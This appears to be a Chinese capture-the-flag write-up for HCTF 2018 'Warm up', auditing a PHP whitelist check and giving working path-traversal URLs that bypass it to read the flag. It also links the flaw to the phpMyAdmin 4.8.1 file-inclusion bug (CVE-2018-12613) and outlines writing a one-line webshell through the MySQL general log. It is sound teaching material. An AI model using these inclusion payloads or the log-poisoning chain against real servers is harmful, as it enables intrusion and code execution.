Warm_up(HCTF_2018)
Warm up
考察知识点:
文件包含漏洞
代码审计
解题步骤
- 首先我们进来看到了一个滑稽的表情,没啥别的东西,先看看源码
- 源码中发现有注释 source.php
我们访问source.php,得到代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
} //用$_REQUEST来接收file参数
if (! empty($_REQUEST['file'])//file不为空
&& is_string($_REQUEST['file'])//file是字符串
&& emmm::checkFile($_REQUEST['file'])//file通过checkFile
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们在source的白名单中,发现还有一个文件hint.php,访问知道了flag的位位置
现在的问题就是如何使的checkFile为真。
- in_array() 函数搜索数组中是否存在指定的值
- mb_substr() 函数与我们学过 substr() 函数差不多,如果要分割英文则使用substr(),如果要分割中文则需要使用 mb_substr()
- mb_strpos() 查找字符串在另一个字符串中首次出现的位置
我们在把代码复制下来,在本地搭建一下,加上几句echo
我们传入一下url
http://b60922ee-d3a8-4f8c-9191-f06e104e698d.node3.buuoj.cn/source.php?file=hint.php?/../../../../../ffffllllaaaagggg
或者
http://b60922ee-d3a8-4f8c-9191-f06e104e698d.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../../ffffllllaaaagggg
可以看到之后执行的是include(hint.php?/../../../../../ffffllllaaaagggg),这里能包含成功,是因为它吧hint.php?当作了文件夹.
phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)
代码节选与本题很相似
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
$target_blacklist = array ( //黑名单
'import.php', 'export.php'
);
if (! empty($_REQUEST['target'])#target 非空
&& is_string($_REQUEST['target'])#target为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])#target不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)#target不能在黑名单中
&& Core::checkPageValidity($_REQUEST['target'])#target要通过checkPageValidity
) {
include $_REQUEST['target'];
exit;
}
我们搭建环境测试一下
查询一下general_log的开启状态
将日志产生的默认路径改更改为已知路径。执行成功后,查看日志文件是否生成
检查是否产生日志文件
写入一句话木马
测试一下
Warm_up(HCTF_2018)的更多相关文章
- rsa special
[ReSnAd] -- iqmp ipmq e,c,\(\phi(n)\) 题目: class Key: PRIVATE_INFO = ['P', 'Q', 'D', 'DmP1', 'DmQ1'] ...
随机推荐
- 2018-1-6-IDEA快速代码生成
2018-1-6-IDEA快速代码生成 Java 自动生成 Intellij IDEA 利用IDEA编辑器的Live Templates可以实现自定义方法.属性.注释等,下面是我自己的常用模板. 属性 ...
- keepalived-1.3.5+MHA部署mysql集群
MHA: MHA工作原理总结为以下几条: 从宕机崩溃的master保存二进制日志事件(binlog events): 识别含有最新更新的slave: 应用差异的中继日志(relay log)到其他sl ...
- Simple: SQLite3 中文结巴分词插件
一年前开发 simple 分词器,实现了微信在两篇文章中描述的,基于 SQLite 支持中文和拼音的搜索方案.具体背景参见这篇文章.项目发布后受到了一些朋友的关注,后续也发布了一些改进,提升了项目易用 ...
- 经典面试题:在浏览器地址栏输入一个 URL 后回车,背后发生了什么
尽人事,听天命.博主东南大学硕士在读,热爱健身和篮球,乐于分享技术相关的所见所得,关注公众号 @ 飞天小牛肉,第一时间获取文章更新,成长的路上我们一起进步 本文已收录于 CS-Wiki(Gitee 官 ...
- 关于MacBook Air/Pro 外接显示器时,显示器黑屏无反应的解决方法,顺便求助M1芯片的mac 外接显示器如何开启Hidpi
显示器黑屏,无反应,频繁闪烁的原因 先说结论,直接换type-c转DP的显示器连接线吧,如果显示器不支持dp接口,那自求多福吧. 事情是这样的,m1版本的macbook air 刚发布就马上入手了一台 ...
- springcloud alibaba-nacos配置中心
nacos除了充当注册中心外,还能作为配置中心,下面进行演示. 1. 创建 模块,用于读取 nacos配置中心的统一配置 2. 添加依赖 <dependencies> <!-- na ...
- Hive 填坑指南
Hive 填坑指南 目录 Hive 填坑指南 数据表备份 数据表备份 方法1:create table 表名_new as select * from 原表 create table 表名_new a ...
- iOS 14.5 有啥新功能?Apple Watch 也能解锁 iPhone 了
转: iOS 14.5 有啥新功能?Apple Watch 也能解锁 iPhone 了 苹果今天发布了即将发布的 iOS 14.5 和 iPadOS 14.5 更新的第一个 Beta 版本,我们在其中 ...
- c++指针类型的函数
下面随笔将讲述c++指针类型的函数. 原创链接:https://www.cnblogs.com/iFrank/p/14444379.html 指针类型的函数 若函数的返回值是指针,该函数就是指针类型的 ...
- 关于MarkDown语法
Markdown语法 码云笔记链接:https://gitee.com/out_of_zi_wen/practical-experience/blob/master/Markdown%E8%AF%AD ...